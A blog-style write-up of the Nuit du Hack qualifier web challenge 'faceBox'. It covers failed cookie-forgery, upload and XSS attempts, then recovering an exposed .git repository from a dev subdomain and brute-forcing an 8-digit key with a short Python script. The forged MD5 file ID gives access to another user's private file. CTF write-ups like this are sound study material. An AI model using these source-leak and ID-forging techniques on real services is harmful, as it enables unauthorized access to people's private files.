Last week-end I participated to the qualifications of NdH with HackGyver (scoreboard). We gathered at the hackerspace's local with futex, kiwhacks and pastrep (a new member met at the SecuRT 2015). We finished 32 over more than 200 teams that validated at least one challenge. It is not that bad, knowing that some of our key comrades where not available this Saturday.
I thought that I could write something about their faceBox web challenge.
faceBox - The challenge
On its web page:
A shady company decided to write their own software for storing files in the cloud.
"No no no, this is OUR filebox. We decline any responsability in the usage of our filebox. In any event your files get lost, trashed, stolen or spy on : it's your fault, not ours."
You are investigating on the security of their cloud storage as it might have disastrous consequences if it were to get hacked by malicious actors.
The homepage of the challenge allows the user to upload .txt
files and specifies whether it should be private or
public.
Later you can access your files via http://prod.facebox.challs.nuitduhack.com/files/view/<md5>
.
So far we felt that we had to find a way to access koffi's confidentials.txt
private file.
Failed attempts
-
Forge cookie
After looking around, we first thought that we had to tamper the
session
cookie because, after base64 decoding it, it gave something interesting:{"_csrf_token":{"b":"YWU3Y2ZlMzJhMzg0MGMyNDU2OGVkZjA1MmY4MDA0ZmMxZGE2MmQ0NA=="},"user_id":16}
where the CSRF token is the base64 from the Home page.We wanted to tamper the cookie and change our
"user_id"
to1
but we could not find a way to forge a valid signature. -
Upload exploit
Then we tried to use the upload feature in order to upload something else than
.txt
files, like a php shell or something but without any luck. We also tried to upload some XSS payloads in order to intercept the cookiesession
idea from thatkoffi
guy but the output was escaped. -
Injection in URLs
We also tried to do some injections in the URLs such as
http://prod.facebox.challs.nuitduhack.com/files/<page_id>
but we only raised 500 Internal Errors. -
MD5 guessing
What we realized during our testing that a user 1 could read a user 2's private files just by finding the correct MD5. That is why we tried to guess how the md5 files were generated. We tried a couple of things like
md5(filename)
,md5(filename+timestamp)
,md5(timestamp+filename)
, etc. but sadly none worked.
Solution
We moved along and worked on other challenges because it was not worth 100 points spending hours on this web challenge.
Then I spoke with mortis from pollypocket and I want to thank him for his kindness.
He told me to look for dev
stuff. Indeed, taking a look at my Burp history:
Host: prod.facebox.challs.nuitduhack.com
Hum, I wonder what dev.*
would give us:
GET / HTTP/1.1 Host: dev.facebox.challs.nuitduhack.com HTTP/1.1 200 OK dev
Then we stumbled onto this:
GET /.git/ HTTP/1.1 Host: dev.facebox.challs.nuitduhack.com HTTP/1.1 403 Forbidden
OK, directory listing was forbidden but:
GET /.git/config HTTP/1.1 Host: dev.facebox.challs.nuitduhack.com HTTP/1.1 200 OK [core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true
I tried to rebuild the git repository by hand but I could not find the technical details about the objects
directory but hopefully, jvoisin linked me a nice tool:
dvcs-ripper.
It smoothly retrieved the repository that contained main.py
faceBox's file:
#!/usr/bin/env python # -*- coding: utf-8 -*- def generate_random_filename(user_id,filename): dbuser = users.query.filter_by(id=user_id).first() if dbuser.privkey is not None: return md5(str(dbuser.privkey)+filename).hexdigest() else: privkey = str(randint(10000000,99999999)) upd = users.query.filter_by(id=user_id).first() upd.privkey = privkey db.session.commit() return md5(str(privkey)+filename).hexdigest()
We are getting really close. Now that we know how the MD5s are generated, we could forge the one from koffi. The only
thing that we need is his privkey
.
Quick and dirty
I wrote a quick-and-dirty python script that would request the server for each privkey + filename
between 10000000
and 99999999.
That was a stupid idea because:
- First, the server would answer 500 Internal Error for each request (high timeout, even when using
timeout=0.x
). - Second, generating all the MD5s gave me 3.2 GB of data... which is a lot to test :D
Then we realized that we already had one MD5 from koffi: his public file paste01.txt
which is
3686d78a6e9d5258773a6ae0469d3ed4
. Therefore I wrote another script to brute-force it locally:
import sys import hashlib FILENAME = "paste01.txt" GOOD = "3686d78a6e9d5258773a6ae0469d3ed4" for i in range(99999999, 10000000, -1): md5digest = hashlib.md5(str(i)+FILENAME).hexdigest() if md5digest == GOOD: print("Found for privatekey=%d" % i) sys.exit()
Which outputted: Found for privatekey=95594864
.
Then we forged the MD5 for confidentials.txt
which is 35e2cb0b2e8bd40347ecd4e32767a060
and accessed the file:
M4x_M4i5_DR
Note: Overall, I really think that this web challenge was worth more than 100 points, especially when the
Bpythonastic forensic, 300 points, was just a strings | grep
...
Only 18 teams validated it compared to 85 for the other web100 (and 121 for that forensic300).